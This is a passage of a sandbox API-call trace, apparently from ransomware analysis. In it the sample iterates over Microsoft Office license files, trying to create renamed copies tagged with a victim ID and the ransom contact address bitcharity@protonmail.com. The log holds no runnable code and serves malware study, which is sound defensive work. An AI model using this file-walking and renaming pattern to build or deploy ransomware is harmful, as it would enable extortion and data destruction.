[0251.745] lstrlenW (lpString=".doc") returned 4 [0251.746] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.746] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.746] CloseHandle (hObject=0x1234) returned 1 [0251.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0251.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ppd.xrm-ms") returned 88 [0251.747] lstrlenW (lpString=".doc") returned 4 [0251.747] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.747] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.748] CloseHandle (hObject=0x1234) returned 1 [0251.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0251.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-ul-oob.xrm-ms") returned 91 [0251.748] lstrlenW (lpString=".doc") returned 4 [0251.749] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.749] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.749] CloseHandle (hObject=0x1234) returned 1 [0251.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0251.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms") returned 87 [0251.750] lstrlenW (lpString=".doc") returned 4 [0251.750] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.750] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.751] CloseHandle (hObject=0x1234) returned 1 [0251.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0251.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88 [0251.751] lstrlenW (lpString=".doc") returned 4 [0251.752] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.752] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.752] CloseHandle (hObject=0x1234) returned 1 [0252.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0252.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91 [0252.025] lstrlenW (lpString=".doc") returned 4 [0252.026] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.026] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.026] CloseHandle (hObject=0x1274) returned 1 [0252.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0252.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0252.026] lstrlenW (lpString=".doc") returned 4 [0252.027] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.027] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.027] CloseHandle (hObject=0x1274) returned 1 [0252.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0252.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0252.028] lstrlenW (lpString=".doc") returned 4 [0252.029] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.029] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.029] CloseHandle (hObject=0x1274) returned 1 [0252.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0252.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0252.030] lstrlenW (lpString=".doc") returned 4 [0252.032] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.032] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.032] CloseHandle (hObject=0x1274) returned 1 [0252.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0252.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-pl.xrm-ms") returned 76 [0252.033] lstrlenW (lpString=".doc") returned 4 [0252.041] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.041] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.041] CloseHandle (hObject=0x1274) returned 1 [0252.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0252.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ppd.xrm-ms") returned 77 [0252.041] lstrlenW (lpString=".doc") returned 4 [0252.042] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.042] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.043] CloseHandle (hObject=0x1274) returned 1 [0252.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0252.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-oob.xrm-ms") returned 80 [0252.043] lstrlenW (lpString=".doc") returned 4 [0252.044] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.044] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.044] CloseHandle (hObject=0x1274) returned 1 [0252.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0252.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Retail-ul-phn.xrm-ms") returned 80 [0252.045] lstrlenW (lpString=".doc") returned 4 [0252.046] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.046] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.046] CloseHandle (hObject=0x1274) returned 1 [0252.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0252.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0252.047] lstrlenW (lpString=".doc") returned 4 [0252.048] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.048] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.048] CloseHandle (hObject=0x1274) returned 1 [0252.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0252.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0252.048] lstrlenW (lpString=".doc") returned 4 [0252.049] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.049] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.050] CloseHandle (hObject=0x1274) returned 1 [0252.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0252.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0252.050] lstrlenW (lpString=".doc") returned 4 [0252.051] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.051] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\pkeyconfig-office.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.051] CloseHandle (hObject=0x1274) returned 1 [0252.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0252.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0252.052] lstrlenW (lpString=".doc") returned 4 [0252.052] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.052] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.053] CloseHandle (hObject=0x1274) returned 1 [0252.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0252.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ppd.xrm-ms") returned 78 [0252.053] lstrlenW (lpString=".doc") returned 4 [0252.054] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.054] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.054] CloseHandle (hObject=0x1274) returned 1 [0252.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0252.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Grace-ul-oob.xrm-ms") returned 81 [0252.055] lstrlenW (lpString=".doc") returned 4 [0252.055] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.056] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.056] CloseHandle (hObject=0x1274) returned 1 [0252.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0252.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-pl.xrm-ms") returned 80 [0252.056] lstrlenW (lpString=".doc") returned 4 [0252.057] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.057] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.057] CloseHandle (hObject=0x1274) returned 1 [0252.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0252.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0252.058] lstrlenW (lpString=".doc") returned 4 [0252.058] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.059] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.059] CloseHandle (hObject=0x1274) returned 1 [0252.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0252.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0252.059] lstrlenW (lpString=".doc") returned 4 [0252.060] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.060] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.061] CloseHandle (hObject=0x1274) returned 1 [0252.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0252.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0252.061] lstrlenW (lpString=".doc") returned 4 [0252.062] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.062] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.062] CloseHandle (hObject=0x1274) returned 1 [0252.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0252.062] lstrlenW 